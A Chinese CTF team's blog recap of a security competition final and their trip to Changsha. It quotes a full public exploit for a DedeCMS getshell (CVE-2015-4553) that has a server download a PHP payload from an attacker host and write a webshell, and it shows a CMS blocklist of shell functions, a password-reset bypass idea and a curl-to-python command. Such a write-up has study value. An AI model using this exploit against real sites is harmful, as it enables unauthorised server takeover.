NOTE

我们 CTF 玩家就是拿着台电脑过去一开坐一天就结束了 —— Ron#1337

没错，在 5.17-5.18，我们 Volcania 参加了第十八届软件系统安全赛攻防赛全国总决赛

这次说是总决赛，但其实队我们队伍来说应该是公费旅游环节，我们在这场总决赛中确确实实爆零了(┬＿┬)

比赛

NOTE

不是哥们？湖南大学还能停电的啊？？？开赛前半个小时停电了，连电灯都没了，大概率是过载了……

后来给了我们附件压缩包，说密码一起给，结果到电恢复了都没给 =-=

本次比赛总共有十道题目，并且出现了很明显的领域交叉情况（就是说 re 带 misc 之类的这种情况），而且涉及到的知识点也非常地广

Seijaku

seijaku提示：1、/openapi.json

Seijaku提示：2、大概就是用给定的固定密钥 + 当前 Unix 秒级时间戳进行 CRC64，把这个值发送给 C2 服务器，然后和固定密钥进行循环异或作为本次 RC4 加密密钥。

Seijaku提示：3、user:user

最开始拿到附件，给了一个流量包，从流量包可以提取到一个附件，并且通过链接可以得到以下信息

• 此文件是一个二进制文件（/binary）
• 此文件的反向连接地址为 seijaku.local
• 此文件经过 upx 压缩

拿下来以后第一件事情是 UPX 解压

题目里面还提供了一个 project.tar.gz，解压一下发现是一个 python 的 venv 环境，可以激活一下

$ source .venv/bin/activate

接着尝试运行一次二进制文件

$ chmod +x bin
$ ./bin > output.log 2>&1

运行时之后会执行类似扫描的操作

./bin: 1: 0000: not found
./bin: 2: 0010: not found
./bin: 3: 0020: not found
./bin: 4: 0030: not found
./bin: 5: 0040: not found
./bin: 6: 0050: not found
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./bin: 261: 1040: Permission denied
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./bin: 2411: 96a0: not found
./bin: 2412: 96b0: not found
./bin: 2413: 96c0: not found
./bin: 2414: 96d0: not found
./bin: 2415: 96e0: not found
./bin: 2416: 96f0: not found
./bin: 2417: 9700: not found
./bin: 2418: 9710: not found
./bin: 2419: 9720: not found
./bin: 2420: 9730: not found
./bin: 2421: 9740: not found
./bin: 2422: 9750: not found
./bin: 2423: 9760: not found
./bin: 2424: 9770: not found
./bin: 2425: 9780: not found
./bin: 2426: 9790: not found
./bin: 2427: 97a0: not found
./bin: 2428: 97b0: not found
./bin: 2429: 97c0: not found
./bin: 2430: 97d0: not found
./bin: 2431: 97e0: not found
./bin: 2432: 97f0: not found
./bin: 2433: 9800: not found
./bin: 2434: 9810: not found
./bin: 2435: 9820: not found
./bin: 2436: 9830: not found
./bin: 2437: 9840: not found
./bin: 2438: 9850: not found
./bin: 2439: 9860: not found
./bin: 2440: 9870: not found
./bin: 2441: 9880: not found
./bin: 2442: 9890: not found
./bin: 2443: 98a0: not found
./bin: 2444: 98b0: not found
./bin: 2445: 98c0: not found
./bin: 2446: 98d0: not found
./bin: 2447: 98e0: not found
./bin: 2448: 98f0: not found
./bin: 2449: 9900: not found
./bin: 2450: 9910: not found
./bin: 2451: 9920: not found
./bin: 2452: 9930: not found
./bin: 2453: 9940: not found
./bin: 2454: 9950: not found
./bin: 2455: 9960: not found
./bin: 2456: 9970: not found
./bin: 2457: 9980: not found
./bin: 2458: 9990: not found
./bin: 2459: 99a0: not found
./bin: 2460: 99b0: not found
./bin: 2461: 99c0: not found
./bin: 2462: 99d0: not found
./bin: 2463: 99e0: not found
./bin: 2464: 99f0: not found
./bin: 2465: 9a00: not found
./bin: 2466: 9a10: not found
./bin: 2467: 9a20: not found
./bin: 2468: 9a30: not found
./bin: 2469: 9a40: not found
./bin: 2470: 9a50: not found
./bin: 2471: 9a60: not found
./bin: 2472: 9a70: not found
./bin: 2473: 9a80: not found
./bin: 2474: 9a90: not found
./bin: 2475: 9aa0: not found
./bin: 2476: 9ab0: not found
./bin: 2477: 9ac0: not found
./bin: 2478: 9ad0: not found
./bin: 2479: 9ae0: not found
./bin: 2480: 9af0: not found
./bin: 2481: 9b00: not found
./bin: 2482: 9b10: not found
./bin: 2483: 9b20: not found
./bin: 2484: 9b30: not found
./bin: 2485: 9b40: not found
./bin: 2486: 9b50: not found
./bin: 2487: 9b60: not found
./bin: 2488: 9b70: not found
./bin: 2489: 9b80: not found
./bin: 2490: 9b90: not found
./bin: 2491: 9ba0: not found
./bin: 2492: 9bb0: not found
./bin: 2493: 9bc0: not found
./bin: 2494: 9bd0: not found
./bin: 2495: 9be0: not found
./bin: 2496: 9bf0: not found
./bin: 2497: 9c00: not found
./bin: 2498: 9c10: not found
./bin: 2499: 9c20: not found
./bin: 2500: 9c30: not found
./bin: 2501: 9c40: not found
./bin: 2502: 9c50: not found
./bin: 2503: 9c60: not found
./bin: 2504: 9c70: not found
./bin: 2505: 9c80: not found
./bin: 2506: 9c90: not found
./bin: 2507: 9ca0: not found
./bin: 2508: 9cb0: not found
./bin: 2509: 9cc0: not found
./bin: 2510: 9cd0: not found
./bin: 2511: 9ce0: not found
./bin: 2512: 9cf0: not found
./bin: 2513: 9d00: not found
./bin: 2514: 9d10: not found
./bin: 2515: 9d20: not found
./bin: 2516: 9d30: not found
./bin: 2517: 9d40: not found
./bin: 2518: 9d50: not found
./bin: 2519: 9d60: not found
./bin: 2520: 9d70: not found
./bin: 2521: 9d80: not found
./bin: 2522: 9d90: not found
./bin: 2523: 9da0: not found
./bin: 2524: 9db0: not found
./bin: 2525: 9dc0: not found
./bin: 2526: 9dd0: not found
./bin: 2527: 9de0: not found
./bin: 2528: 9df0: not found
./bin: 2529: 9e00: not found
./bin: 2530: 9e10: not found
./bin: 2531: 9e20: not found
./bin: 2532: 9e30: not found
./bin: 2533: 9e40: not found
./bin: 2534: 9e50: not found
./bin: 2535: 9e60: not found
./bin: 2536: 9e70: not found
./bin: 2537: 9e80: not found
./bin: 2538: 9e90: not found
./bin: 2539: 9ea0: not found
./bin: 2540: 9eb0: not found
./bin: 2541: 9ec0: not found
./bin: 2542: 9ed0: not found
./bin: 2543: 9ee0: not found
./bin: 2544: 9ef0: not found
./bin: 2545: 9f00: not found
./bin: 2546: 9f10: not found
./bin: 2547: 9f20: not found
./bin: 2548: 9f30: not found
./bin: 2549: 9f40: not found
./bin: 2550: 9f50: not found
./bin: 2551: 9f60: not found

服务器为 172.18.0.2，客户端为 172.18.0.3

因为题目给了与时间戳有关，写个脚本用 tshark 给提取出来

@echo off
echo Extracting data...
tshark -r .\output.pcap -Y "tcp && frame.number > 11" -T "fields" -e "frame" -e "frame.time_epoch" -e "data.data" --disable-protocol "http" > data.txt
echo Extracting frames...
tshark -r .\output.pcap -Y "tcp && frame.number > 11" -T "fields" -e "frame" -e "frame.time_epoch" --disable-protocol "http" > frame.txt
echo Extracting time...
tshark -r .\output.pcap -Y "tcp && frame.number > 11" -T "fields" -e "frame.time_epoch" --disable-protocol "http" > time.txt

这样就能够提取出来三个文件（主要是为了对应分析才提取的三个文件）

先写一个脚本提取内容

from pprint import pprint
data_with_time = []

def process_data():
    with open("data.txt") as f:
        for line in f:
            line_data = line.split("\t")
            if len(line_data) != 3 or line_data[-1] == "\n":
                continue
            data_with_time.append((line_data[1].split(".")[0][2:], line_data[2].replace("\n", "")))
            
    pprint(data_with_time)

然后我们的逆向大佬 Jeremiah 根据题目的 CRC64 写了个程序

#include <time.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>

#define size 256

unsigned char sbox[257]={0};

//初始化s表
void init_sbox(unsigned char*key){
	unsigned int i,j,k;
	int tmp;
	
	for(i=0;i<size;i++){
		sbox[i]=i;
	}
	
	j=k=0;
	for(i=0;i<size;i++){
		tmp=sbox[i];
		j=(j+tmp+key[k])%size;
		sbox[i]=sbox[j];
		sbox[j]=tmp;
		if(++k>=strlen((char*)key))k=0;
	}
}

//加解密函数
void rc4_dec(unsigned char*key,unsigned char*data){
	int i,j,k,R,tmp;
	
	init_sbox(key);
	
	j=k=0;	
	for(i=0;i<strlen((char*)data);i++){
		j=(j+1)%size;
		k=(k+sbox[j])%size;
		
		tmp=sbox[j];
		sbox[j]=sbox[k];
		sbox[k]=tmp;
		
		R=sbox[(sbox[j]+sbox[k])%size];
		
		data[i]^=R;
	}	
}

int64_t CRC64(char* buffer){
	uint64_t delta = 0x42F0E1EBA9EA3693LL;
	int64_t result = 0;
	for(int i = 0; i < 40; i++){
		result = (int64_t)buffer[i] << 56;
		for(int j = 0 ; j < 8; j++){
			result = (2 * result) ^ (result >> 63) & delta;
		}
	}
	return result;
}

char* GenerateKey(char* key, char* timestamp){
    strcat(key, timestamp);
    return key;
}

void db2char(double src, char* dst){
    int64_t temp = (int64_t)src;
    for(int i = 0; i < 8; i++){
        char tmp;
        tmp = (char)temp;
        dst[i] = tmp;
        temp = temp >> 8;
    }
}

int main(){
	char key[] = "V6h9A_wyEE6YLFiAtxY4W601RkBQIsLn";
    char data[] = "f694fa558ef96ff34410143aa6f54a1b62a1130f68fda83e";
    // 定义timestamp时间戳
    double timestamp = 1733155314.075389000;
    char temptime[8];
    db2char(timestamp, temptime);
    GenerateKey(key, temptime);
    CRC64(key);
    rc4_dec(key, data);
    for(int i = 0 ; i < strlen(data); i++){
        printf("%c", data[i]);
    }
    return 0;
}

但是我们没有能够得到有意义的内容……而且我数据处理是在 Python 中的，于是我考虑到的是使用 Python 调用 C 函数

import os
from utils import process_data
from ctypes import c_char_p, c_int, POINTER, CDLL, c_double

# LIB = CDLL(os.path.join(os.getcwd(), "lib.dll"))

LIB.call.argtypes = [c_char_p, c_double]

def dec(stream: str, ts: float):
    result = c_char_p()
    LIB.call(result, c_double(ts), c_char_p(stream.encode("utf-8")))
    return result
    
if __name__ == "__main__":
    result = []
    data = process_data()
    for _ in data:
        ts = _[0]
        stream = _[1]
        result = ""
        result.append(dec(stream, ts))
    print(result)
    with open("artifact", "wb") as f:
        f.write("".join(result).encode())
        

摆了……

backup

可以看到使用的 CMS 是 dedeCMS 5.7-SP2，我们搜到了一个 CVE-2015-4553，这里写的版本是 dedecms 5.7-sp1，我们想试试 sp2 能不能用

==========================
# Exploit Title: Dedecms variable coverage leads to getshell
# Date: 26-06-2015
# Vendor Homepage: http://www.dedecms.com/]
# Version: dedecms 5.7-sp1 and all old version
# CVE : CVE-2015-4553
===========================


[CVE-2015-4553]Dedecms variable coverage leads to getshell
#############################################################################
#
#   DBAPPSECURITY  LIMITED http://www.dbappsecurity.com.cn/
#
#############################################################################
#
# CVE ID:   CVE-2015-4553
# Subject:   Dedecms variable coverage leads to getshell
# Author:   zise
# Date:     06.17.2015
#############################################################################
Introduction:
========
dedecms Open source cms
Extensive application

Influence version
Newest dedecms 5.7-sp1 and all old version


Remote getshell
Details:
=======
After the default installation of dedecms
Installation directory
/install/index.php
or
/install/index.php.bak

/install/index.php //run iis apache exploit
/install/index.php.bak //run apache exploit


Code analysis

/install/index.php.bak?install_demo_name=aaaa&insLockfile=bbbb

#############################################################################
17 $install_demo_name = 'dedev57demo.txt';
18 $insLockfile = dirname(__FILE__).'/install_lock.txt';

here $install_demo_name and $insLockfile definition
// echo $install_demo_name;  printf dedev57demo.txt

29 foreach(Array('_GET','_POST','_COOKIE') as $_request)
30 {
31    foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
32 }


// echo $install_demo_name; printf aaaa

$install_demo_name by variable coverage

The same
17 $install_demo_name = 'dedev57demo.txt';
18 $insLockfile = dirname(__FILE__).'/install_lock.txt';

variable coverage
#############################################################################




GETSHELL Step 1 Clear file contents config_update.php
#############################################################################
config_update.php
13 $updateHost = 'http://updatenew.dedecms.com/base-v57/';
14 $linkHost = 'http://flink.dedecms.com/server_url.php';

In order to obtain the webshell need to control $updateHost
So the use of variable coverags cleared config_update.php


http://192.168.204.135/install/index.php.bak
?step=11
&insLockfile=a
&s_lang=a
&install_demo_name=../data/admin/config_update.php

index.php.bak
373 else if($step==11)
374 {
375 require_once('../data/admin/config_update.php');
376 $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";
377
378 $sql_content = file_get_contents($rmurl);
379 $fp = fopen($install_demo_name,'w');
380 if(fwrite($fp,$sql_content))
381 echo '&nbsp; <font color="green">[√]</font> 存在(您可以选择安装进行体验)';
382 else
383 echo '&nbsp; <font color="red">[×]</font> 远程获取失败';
384 unset($sql_content);
385 fclose($fp);
386 exit();
387 }

###
HTTP/1.1 200 OK
Date: Wed, 17 Jun 2015 06:55:23 GMT
Server: Apache/2.4.12
X-Powered-By: PHP/5.6.6
Vary: User-Agent
Content-Length: 55
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8

  <font color="red">[×]</font> 远程获取失败
 ###




###After execution file 0 byte ~ho~year~####
2015/06/17  14:55                 0 config_update.php
               1 file              0 byte



GETSHELL Step 2
#############################################################################
Create local HTTP services

zise:tmp zise$ ifconfig en0
en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500
inet 119.253.3.18 netmask 0xffffff00 broadcast

zise:tmp zise$ mkdir "dedecms"
zise:tmp zise$ cd dedecms/
zise:dedecms zise$ echo "<?php phpinfo();?>" > demodata.a.txt
zise:dedecms zise$ cd ../
zise:tmp zise$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
192.168.204.135 - - [17/Jun/2015 15:11:18] "GET /dedecms/demodata.a.txt HTTP/1.0" 200 -


####
http://192.168.204.135/install/index.php.bak
?step=11
&insLockfile=a
&s_lang=a
&install_demo_name=hello.php
&updateHost=http://119.253.3.18:8000/

####

HTTP/1.1 200 OK
Date: Wed, 17 Jun 2015 07:11:18 GMT
Server: Apache/2.4.12
X-Powered-By: PHP/5.6.6
Vary: Accept-Encoding,User-Agent
Content-Length: 81
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8

  <font color="green">[√]</font> 存在(您可以选择安装进行体验)


index.php.bak
373 else if($step==11)
374 {
375 require_once('../data/admin/config_update.php');
376 $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";
377
378 $sql_content = file_get_contents($rmurl);
379 $fp = fopen($install_demo_name,'w');
380 if(fwrite($fp,$sql_content))  //fwrite websehll
381 echo '&nbsp; <font color="green">[√]</font> 存在(您可以选择安装进行体验)';
382 else
383 echo '&nbsp; <font color="red">[×]</font> 远程获取失败';
384 unset($sql_content);
385 fclose($fp);
386 exit();
387 }

Attack complete
you webshell

http://192.168.204.135/install/hello.php



> zise ^_^
> Security researcher

This is the vulnerability of some web pages
http://seclists.org/fulldisclosure/2015/Jun/47

然后 Rusty 不知道用啥方法进去了（队内共享文档没写……） Rusty 用的方法大致是这个方案（https://cloud.tencent.com/developer/article/1850813），我们能够使用我们自己的数据库（MariaDB），让这个 CMS 连接我们的数据库进行操作，我们成功登录了管理员

我们尝试传马上去，但是这个 CMS 自带了一个危险代码检测功能

        // 不允许这些字符
        $content = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $content);

        global $cfg_disable_funs;
        $cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
        $cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert';
        foreach (explode(",", $cfg_disable_funs) as $value) {
            $value = str_replace(" ", "", $value);
            if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", " {$content}") == TRUE) {
                $content = dede_htmlspecialchars($content);
                die("DedeCMS提示：当前上传的文件中存在恶意代码！<pre>{$content}</pre>");
            }
            if(!empty($value) && preg_match("#(<)[\s]*(script)[\s\S]*(src)[\s]*(=)[\s]*[\"|']#i", " {$content}") == TRUE) {
                preg_match_all("#(src)[\s]*(=)[\s]*[\"|'][\s]*((http|https)(:\/\/)[\S]*)[\"|']#i", " {$content}", $subject);
                foreach ($subject[3] as $url) {
                    if (preg_match("#^(http|https):\/\/#i", $url) && !preg_match("#^(http|https):\/\/{$_SERVER['HTTP_HOST']}#i", $url)) {
                        die("DedeCMS提示：非本站资源无法访问！<pre>{$url}</pre>");
                    }
                }
            }
        }

         if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$content}") == TRUE && json_encode($content) !== FALSE) {
            if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$content}") == TRUE) {
                $content = dede_htmlspecialchars($content);
                die("DedeCMS提示：当前上传的文件中存在木马！<pre>{$content}</pre>");
            }
            if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$content}") == TRUE) {
                $content = dede_htmlspecialchars($content);
                die("DedeCMS提示：当前上传的文件中存在木马！<pre>{$content}</pre>");
            }
            if(preg_match("#[`][\s\S]*[`]#i", " {$content}") == TRUE) {
                $content = dede_htmlspecialchars($content);
                die("DedeCMS提示：当前上传的文件中存在后门！<pre>{$content}</pre>");
            }
            if(preg_match("#['\"][\^]['\"]#i", " {$content}") == TRUE) {
                $content = dede_htmlspecialchars($content);
                die("DedeCMS提示：当前上传的文件中存在后门！<pre>{$content}</pre>");
            }
        }

直到最后都没有成功，而且这个 CMS 连接我们的数据库特别的慢（指一个请求三十秒没完成）

ctos1

这个题目附件给了我们一个 zip，我们一开始还以为需要解压这个 zip 才能做，结果后来发现是不用的……

（下图人话：用你第一题的 flag 来解压文件）

打开提供的网页，是一个教务系统的登录，尝试进入重置密码的界面，在登录账号处输入账号，如果不存在会提示用户不存在，所以我们可以根据这个提示得到用户

最终我们得到了两个用户：xs001、admin

接着，我们尝试了一下重置密码，就什么都不提供的发送请求

看请求应该是先判断 encoded 对应的账户是不是管理员，然后重置密码的时候看的是account的账户，所以如果encoded对应的是非管理员用户就有可能绕过这个限制直接重置管理员账户的密码，encoded 是用户名的 b64 编码

在登录页面，我们发现登录是 POST 路由 /bzd_jsxsd/xk/LoginToXk

其中 userAccount 是用户名，userPassword 为空，encoded 是用户名+密码的组合，例如使用用户名 xs001 和密码 abc 组合后为 xs001%%%abc，然后经过 Base64 编码 + URL 编码

没找到更多入口了，跑路了

pokemongo

pokemon go 提示：

• fight_internal 为什么调用只使用了一个参数？
• 结合让攻击力变大的方法通过题目吧

题目描述:

现身！月亮与太阳的化身！ nc 10.110.0.5 31337

╰─ nc 10.110.0.5 31337 1 - launch new instance 2 - kill instance 3 - get flag (if is_Solved() is true) action? 1

== PoW == sha256(“c33b6138cf7ba005” + YOUR_INPUT) must start with 24 zeros in binary representation please run the following command to solve it: python3 <(curl -sSL https://minaminao.github.io/tools/solve-pow.py) c33b6138cf7ba005 24

YOUR_INPUT =

这个题目我们上来就在猜是不是 web3 的题目，结果还真是

NOTE

有这么一个小趣事：在这次比赛之前，我是有做梦梦到过线下赛出 web3 题目的，但是当时并没有太过于关注这个梦，现在这个梦成真了……

根据题目给我们的输出，sha256("c33b6138cf7ba005" + YOUR_INPUT) must start with 24 zeros in binary representation，我们输入的内容加在题目提供的字符串后面，进行 sha256 的计算后，这个结果由 24 个二进制 0 开头，也就是说计算得到的哈希值一定为 6 个 0 开头，于是就有了我们的脚本

from pwn import *
from hashlib import sha256
from string import ascii_letters, digits
from itertools import combinations

remote_addr = '10.110.0.5'
remote_port = 31337


def verify_sha256(s):
    return sha256(s.encode()).hexdigest().startswith("0"*6)

def calc_sha256(s):
    return sha256(s.encode()).hexdigest()

dict = ascii_letters + digits

def exp():
    # context.log_level = "DEBUG"
    
    p = remote(remote_addr ,remote_port)
    p.recvuntil(b"action?")
    p.sendline(b"1")
    p.recvuntil(b'sha256("')
    pre = p.recv(16).decode()
    print(f"[~] pre = {pre}")
    p.recvuntil(b"YOUR_INPUT =")

    count = 1
    solved = False
    my_input = ""
    while not solved:
        for combination in combinations(dict, count):
            s = pre + "".join(combination)
            # print(f"[~] WORKING:", s, end="\r")
            if verify_sha256(s):
                my_input = s[16:]
                print("[+] SOLVED: ", s , my_input)
                solved = True
                break
        count += 1

    p.sendline(my_input.encode())
    p.recvuntil(b"here's some useful information")
    print('[+] Deploying...')
    print(p.recvall().decode())

if __name__ == "__main__":
    exp()

完成后会给我们返回一个钱包的私钥，这个钱包里面有米，但说实话，我们不会做 web3 的题目，只能放掉了，下面提供一下我们找到的源码吧

比赛后我们学校两个队在讨论的时候，隔壁队说这个应该是 vyper

#@version ^0.3.7

Gyarados_hp: public(int256) 
rounds: public(uint256)
struct pokemon:
    name: String[1]
    health: int256
    atk: int256

Necrozma: public(pokemon)

Solgaleo: public(pokemon)

Dusk_Mane_Necrozma: public(pokemon)

upgraded: public(bool)

win: public(bool)

@external
def __init__():
    self.rounds=5
    self.Necrozma.health=200
    self.Necrozma.atk=100
    self.Solgaleo.health=150
    self.Solgaleo.atk=50    
    self.Gyarados_hp=100000


@external 
def autophagy(_id:uint256):
    if _id==1:
        assert self.Solgaleo.health<=1000 ,"Crazy man..."
        self.Solgaleo.health+=10
        self.Solgaleo.atk-=3
    if _id==2:
        assert self.Necrozma.health<=1000 ,"Crazy man..."
        self.Necrozma.health+=50
        self.Necrozma.atk-=7

@external
def game_init(_name: String[1],_name2: String[1]):
    pass

@internal
def fight_internal(power_1:int256=0 ,power_2:int256=2**254) -> int256:
    return power_1-power_2

@external
def set_name(_name1: String[1],_name2: String[1]):
    assert self.upgraded==False,"NO"
    self.Necrozma.name=_name1
    self.Solgaleo.name=_name2
    
@external
def fight(_id:uint256):
    assert self.rounds>0 , "no more chance"
    self.rounds-=1
# Maybe only one chance?...
    if _id==1 and self.upgraded==False:
        assert self.Necrozma.health>0,"dead"
        power: int256=self.fight_internal(self.Necrozma.atk)
        assert power>0, "Too weak...."
        self.Necrozma.health-=50
        if self.Gyarados_hp<=power:
            self.win=True

    elif _id==2 and self.upgraded==False:
        assert self.Solgaleo.health>0,"dead"
        power: int256=self.fight_internal(self.Solgaleo.atk)
        assert power>0, "Too weak...."
        self.Solgaleo.health-=50
        if self.Gyarados_hp<=power:
            self.win=True
    elif _id==3:
        assert self.upgraded==True, "Do something first"
        power: int256=self.fight_internal(self.Dusk_Mane_Necrozma.atk)
        assert power>0, "Too weak...."
        self.rounds=1
        # Really??? 
        if self.Gyarados_hp<=power:
            self.win=True
    self.rounds-=1
 
@internal
def get_upgraded() -> int256:
    a: int256 = self.Necrozma.atk
    b: int256 = self.bar()
    return a+b

@external
def do_combine():
    self.upgraded=True
    self.Dusk_Mane_Necrozma.atk=self.get_upgraded()
    
@internal
def bar() -> int256:
    combined_name: String[2] = concat(self.Necrozma.name, self.Solgaleo.name) 
    return 1


@external
def is_Solved() -> bool:
    return self.win

题目的二进制产物

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我顺带试了一下题目提供的那个网络上的破解脚本

╰─ python3 <(curl -sSL https://minaminao.github.io/tools/solve-pow.py) c33b6138cf7ba005 24                                                                                                       ─╯ 
your_input = b'42350263'
digest.hex() = '00000079df581a1f503ae965ec65731ab3a5bd08acd2be21b78a9450d08a0c58'
time.time() - start_time = 59.04572939872742

还是能用的

app debug

这个题目应该算是福利题，根据 J 佬自己的话说就一个 XTEA，但是在比赛的时候脚本写错了没找到问题导致没做出来

旅游

终于快进到旅游环节了嘛（耶~~~

Day 1 (2025.5.16 Fri.)

我们其实本来是一个队伍周五一起去的，但是 Jeremiah 受邀参加腾讯游戏安全的那个会议了，然后 Ron 周五要考线性代数，结果只有我和 Rusty 两个人第一天去

我们订的酒店是一家民宿，本来我们是打算定大广场的酒店的，但是那家酒店没有洗衣房（问就是深圳亚朵惯的），所以我们最后挑来挑去，挑到了这家民宿，它甚至跟大广场的那个酒店是同一价位，但是环境和配置不输给亚朵

鉴定为 买家秀 == 卖家秀，携程上的图片与实际完全相符，好评没跑了

然后我们发现湖南大学那边大学跟社区是完全连在一起的，意思就是说你走在一条街上，这条街属于社区，也属于湖南大学，完全就融为一体了

我们住的民宿从小路出来对面就是广场，左手边就是小吃街，所以我们两个晚餐就是在这条街上解决的。当然来长沙少不了茶颜悦色，所以第一天就已经点了一杯茶颜悦色喝了（忘拍照了）

第一天晚上刚好我在改 B 站新规下的产物（https://github.com/GamerNoTitle/BiliLive-Utility），所以当天很晚了我还没睡，刚好这家酒店在入住的当天，每间房都会赠送一杯鸡尾酒，刚好我和 Rusty 两个人一人一杯，不喝白不喝，所以我们在十点半的时候又去喝了一杯鸡尾酒

据说这杯酒在很多的酒吧都有，是常客，咱也不懂，但是头一次和鸡尾酒以外的挺不错

这杯酒的名字叫做 丛林鸟

喝完以后我也是在凌晨 1:34 的时候发了我的 Release，然后就睡觉了

Day 2 (2025.5.17 Sat.)

因为我和 Rusty 商量要试试民宿的早餐，于是我订了个 9 点的闹钟起来了。民宿的早餐不是自助餐，但是还不错，他是在餐厅里面有个阿姨给客人煮，我这一份是肉丝粉条（应该叫 粿条 梗合适，反正就是河粉那一类的）

是微辣口的，大概率是因为锅自己已经被辣椒渗透了，所以我吃起来是微辣口的，以外的还不错诶

吃完以后就回房间里面休息了，说是休息其实我在打矢量突破（然后被 Mechanist 暴揍）

后面队友也来了，我们就找个小笼包店吃了一笼小笼包垫肚子，然后报道去了

途中路过了超算中心

最后走到了开幕式的地方

开幕式结束后，因为二队帮我们拿了报道的材料，然后我们就直接去了橘子洲

回到酒店也是快十点钟了，给我们的参赛证和衣服拍了个排排队的图

Day 3 (2025.5.18 Sun.)

第三天直接就去比赛了，比完赛出来是三点钟，我们又去了我们上次去过的地方——五一广场，主要是去觅食的

首先就有十六进制红绿灯

我们也是找了一家餐馆下了一趟馆子

吃完了就去赶车了，这次的旅游就这样结束啦，回到学校已经快十一点了，洗洗睡啦

Summary

怎么说呢，爆零乃兵家常事，下次加油就好啦~

旅游也是体验生活的一环，下次再来吧

这次的复盘也是拖了足够久啦，主要是刚好回来这周事情太多了，又要补作业又要做小组作业，所以各种各样的东西拖慢了本文出厂的速度，不过磨着磨着还是给它磨出来了

后面期待在网上看到其他师傅在本次比赛中的思路吧，我们队也有很多不足，不过都过去了٩(•̤̀ᵕ•̤́๑)ᵎᵎᵎᵎ